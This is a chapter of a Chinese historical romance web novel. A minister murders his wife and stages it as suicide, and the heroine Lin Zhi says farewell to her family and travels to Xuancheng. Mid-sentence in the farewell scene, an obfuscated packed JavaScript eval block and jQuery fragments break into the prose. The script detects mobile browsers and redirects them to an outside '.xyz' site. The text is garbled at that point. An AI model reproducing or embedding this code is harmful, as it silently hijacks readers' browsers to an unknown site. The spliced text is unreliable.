蓟京，尚书府。


    一位锦衣华服的女子在庭院里来回踱步。


    她是吏部尚书崔纮的三夫人俞氏，也是巡漕御史俞元良的女儿，此时正为父亲入狱一事心焦。


    “大人为何还不出来？这都多久了。”


    她频频往府里看，几度想要进去，都被管家嬷嬷拦下：“三夫人，大人正与刘御史商谈正事，您可千万别进去，再等等罢。”


    “我父亲在大理寺的牢里生死未卜，叫我如何等得！”


    俞氏铁了心要硬闯，管家嬷嬷拦不住，眼睁睁看着她提裙闯进了门。


    书房内，崔纮也正与都察院御史刘岑双对坐品茗，两人也刚好谈到俞元良一事。


    “没想到这大理寺新升的姚少卿这般厉害，俞元良在漕运上经营多年，行事向来隐秘，竟被他抓了个现行。”刘御史捻着花白胡须，“圣上得知后震怒，我看他这次是翻不了身，连同和他狼狈为奸的金鳞舫主人赵鸿，也将被严刑处理。”


    崔纮捏着茶盏，目光幽深：“前些日子你我还上奏圣上，为保国库赌税不可废除，蒲博之事仍需斟酌，此次俞元良和赌场之人勾结，我怕这事会动摇圣心。”


    “话说你家三夫人，正是那俞元良的女儿。”刘御史忽然压低声音，“不知尚书大人又该如何？”


    “崔郎！”


    女子清亮的声音打破两人的谈话，崔纮坐在椅上，见自己的三夫人俞氏慌慌张张跑来，他的眉头皱成川字。


    刘御史识趣地起身告辞，临走时还意味深长地看了他一眼。


    俞氏停下时还在喘气，纤纤玉指紧紧攥住崔纮的衣袖，哀求道：“崔郎，求求你救救我父亲，我——”


    “啪——”


    一巴掌下去，俞氏踉跄着后退两步，捂着脸颊僵在原地，眼中满是难以置信。


    “你还敢在这个时候提你父亲，是他自己太蠢，暴露了行踪。”


    崔纮面色铁青，压低声音厉喝：“你知道他会坏了多少人的好事吗？叫他行事之前多考虑，他有听进去吗？”


    俞氏看着他，泪如雨下：“可事发前，你明明说过出事会保他……”


    崔纮忽然转身，掐住她的脸，俞氏美丽的脸庞被他掐得表情扭曲。


    “保他？那是你父亲一人所为，与我有什么关系。”他将俞氏狠狠掼倒在地，表情阴毒，“若你敢将此事说出去半句，就别怪我心狠手辣。”


    “好好好，崔纮，你果真是个过河拆桥的小人。”俞氏仰起头，像是心死了一半般，声音凄凉，“亏我之前还那么爱你，我真是瞎了眼。”


    她挣扎着爬起来，冷笑一声：“那我这便去陛下面前呈明，让他看看他身边最信任的臣子是怎样一副嘴脸。”


    “你敢！”


    崔纮勃然变色，眉毛倒竖，见俞氏踉跄地想要往门口冲，心急之下，一个箭步冲到墙边，取下上方的佩剑。


    刀剑铮鸣，寒光闪过，俞氏的身躯突然顿住，她低头看着贯穿腹部的利剑，有些不可置信地瞪圆眼睛。


    “噗呲——”


    崔纮抽回剑，激起血花飞溅。


    “这是你逼我的。”


    他冷眼看鲜血从俞氏口中不断涌出，慢慢倒下去。


    “崔……郎……救……”那是她嘴里最后吐出的话。


    崔纮面无表情地蹲下身，眼中丝毫不见往日与她缠绵的温情，冷漠地将那柄被血染红的剑柄放入她逐渐冰凉的手中。


    “絮儿，我本不想杀你，要怪，也只能怪你那愚蠢的父亲。”


    他拿出帕子，细细拭去指间的血迹，像在擦去什么脏东西。


    俞氏死不瞑目，待她完全咽了气，他才站起身。


    当他推开房门时，脸上已换上沉痛之色，院中闻声赶来的仆役们见尚书大人衣袖染血，而三夫人静静躺在血泊中，手中还握着凶器。


    “三夫人她……”崔纮强忍言语中的哀恸，“方才向我坦白其父罪行后，竟……竟羞愤自尽。”


    他转向尚未离开的刘岑双，沉声道：“还请御史大人即刻派人通报大理寺，俞元良案又有新证了。”


    …


    通城某院。


    林芷将养数日，觉得是时候离开了。


    出门没走两步，就撞见沈墨与姚祝安站在院内，二人神色凝重，似在商议要事。


    她下意识闪身躲入假山之后，只探出半个脑袋。


    姚祝安轻摇折扇：“圣上说，水上赌坊漕运贪墨一案，您做的极好。当续潜身敌后，务须探明首恶，以绝后患。”


    “那这俞元良背后之人，姚大人觉得会是……”沈墨顿住，忽然转头望向假石方向，唇角微扬，“林姑娘，偷听可不是什么好习惯。”


    林芷轻哼一声，大大方方走出来，对两人微笑拱手：“姚大人，沈公子。”


    姚祝安含笑回礼：“姑娘面色红润，想必伤势已无大碍。”


    “何止无碍。”沈墨将手负在身后，“我听闻做饭的嬷嬷说，林姑娘每天三顿饭不够，夜里还去厨房要加餐，你说这胃口，怕是连伤患都自愧不如。”


    这里的伙食好吃，她忍不住多吃些怎么了。


    林芷皮笑肉不笑地回敬道：“那也比不上沈公子，天没亮就在院子里叮呤咣啷不知道干什么，扰人清梦，小女子这点口腹之欲实在算不得什么。”


    沈墨漫不经心道：“习武之人晨起练功乃是本分，不然你当本公子这身功夫哪来的，林姑娘见识少就别说话。”


    “二位这是......”姚祝安看着剑拔弩张的两人，一时语塞。


    林芷懒得再与沈墨纠缠，转向姚祝安郑重抱拳：“实不相瞒，小女子这会是特意来向二位道别的。”


    她瞥了眼沈墨，冷笑道：“想必姚大人也见到了，我与沈公子气场不合，先前是形势所迫才同路而行，如今也该分道扬镳了。”


    不待姚祝安回应，她已转身离去，衣袂翻飞间带起一阵清风。


    姚祝安用扇柄轻敲沈墨手臂：“方才还听你夸她机敏过人，这会又何必故意招惹？”


    沈墨但笑不语，目光却追随着那道渐行渐远的身影，姚祝安侧头看他：“再不去追，人可真要走了。”


    “追？”沈墨挑眉，“姚大人见过需要本公子亲自追的姑娘？”


    “我发觉你现在倒是越来越像个纨绔了。”姚祝安叹了口气，合拢折扇，“算了算了，随你便吧，反正我也管不了你。”


    待姚祝安离去，沈墨仍伫立原地，眼神深邃望着林芷离开的方向。


    再不相见？


    那便让你知道，什么叫冤家路窄。


    …


    从沈墨处出来后，林芷径直回了南安伯府收拾行囊，前些日子她便和姐姐妹妹说好，她打算离开通城。


    “芷儿妹妹，你真的要走了吗？”攥着她的手，眼睛露出不舍的情绪。


    林芷心中亦有些酸涩，却仍笑道：“通城已无我容身之处，我心意已决，姐姐莫要再劝。”


    林菀蹙眉：“可你一个姑娘家独自在外，我怎能放心……”


    林芷轻轻拍了拍她的手背，温声道：“菀姐姐，我都这么大个人啦，又不是小孩子，倒是萱儿年纪尚小，还要劳烦姐姐多加照料。”


    范文叙站在一旁，将行囊递给她：“妹妹若在外遇到难处，尽管写信回来，或者直接回我们伯府，这里永远是你的家。”


    他顿了顿，脸上浮现几分赧然：“我已经下定决心好好准备科考，这些日子我一直在温习妹妹教过的课业，越想越有道理，也深知自己的过去有多么愚钝……还有许多人问我，林先生何时再开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504393|168974||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    课，我都不知该如何告诉他们你要走了……”


    林芷莞尔：“我这点本事，哪值得他们惦记？你只需告诉他们，最后一堂课所说的互相监督戒赌，若能坚持下去，必有成效。”


    正说着，林萱忽然从大门冲了出来，一把抱住林芷的腿不肯撒手，小脸哭得通红：“呜呜……姐姐别走！萱儿舍不得你走，姐姐留下来陪萱儿吧！”


    林芷慢慢蹲下来，轻轻擦去林萱脸上的泪珠，又捏了捏她软乎乎的小脸蛋：“萱儿别哭，再哭就不好看啦。”


    她见林萱还在啜泣，她柔声哄道：“姐姐只是出去走走，很快就回来，到时候给萱儿带许多许多的糖，好不好？”


    林萱一听哭得更凶了，不停用小胳膊抹着眼泪，林芷揉了揉她的发顶，站起身来，将行囊往肩上提了提，朝几人抱拳。


    “诸位家人珍重，我们青山不改，绿水长流。”


    作别亲人后，林芷独自踏上了新的道路。


    她的目的地是——宣城。


    宣城距通城不远不近，林芷走走停停半月才到，此城繁华不输通城，名流富贾云集，乃大梁数一数二的富庶之地。


    当然这份富庶，只属于上层，底层百姓依旧困苦潦倒，当年陆一鸣为民请命，也正是因此。林芷刚至城郊，便深刻体会到了这一点。


    “公子……公子！”一道纤细身影跌跌撞撞朝她奔来。


    那女子衣衫褴褛，脸上沾着尘土，此时林芷身上穿的是男装，也难怪对方会将她错认。


    女子攥着帕子，怯生生道：“对不住公子，拦了您的路，可奴家实在是没有办法，才会出此下策，望公子莫要见怪。”


    从骨相看，此女倒是个美人胚子，她眸中含泪，楚楚可怜，若林芷真是个男子，怕也难免心软。


    林芷清了清喉咙，压低嗓音：“说吧姑娘，拦我何事？”


    “说来不好意思，奴家已数日未曾饱腹，实在饿得不行，只求公子赏奴家些吃食。”她低垂着头，声音细若蚊呐，“若公子不便，奴家再另寻他法。”


    林芷瞧她可怜，从行囊中取出一块饼递去：“拿着吧。”


    “多谢公子！”女子喜笑颜开接过饼，狼吞虎咽地吃了起来，含糊问道，“公子可是进城赶考的？听说最近城里来了许多读书人。”


    “嗯，算是吧。”林芷也懒得给自己找理由，就这么应了。


    不过确实，不久便是乡试了，沿途多是赶考书生，她这一路也遇见不少，而她为行走方便，换了一身素色长衫，乍看确实像。


    女子眉眼弯弯：“那公子定是学问极好的，阿柔不识字，最羡慕你们这些读书人了。”


    林芷抬眼：“你叫阿柔？”


    “是，奴家名唤阿柔。”她眨了眨眼，“不知公子如何称呼？”


    “我叫……”林芷脑袋飞速转动，也不知道是脑抽还是什么，她脱口而出道，“我叫阿壮。”


    阿柔掩唇轻笑：“原来是公子叫这名，看来你我还真是有缘。”


    林芷这才想起自己曾被唤作“黎大壮”的经历，不由暗自扶额，没想到这事给她留下阴影了。


    阿柔咬下一口饼，咽下后接着问道：“那公子此番进城，可有定下落脚之处？”


    “未曾。”


    “那公子不如去我家住吧，我家正好没人。”阿柔轻轻扯了扯她的袖子，“虽简陋了些，但总比客栈便宜，公子若不嫌弃……”


    林芷见她满眼期待，不好意思拒绝，又想到自己身上带的银两不多，便答应下来。


    答应的瞬间，她隐约觉得有哪里不对劲。


    阿柔将最后一块饼吃完，说道：“公子，我们走吧。”


    “好。”


    林芷一边随阿柔走，一边思索着。


    究竟是哪里不对？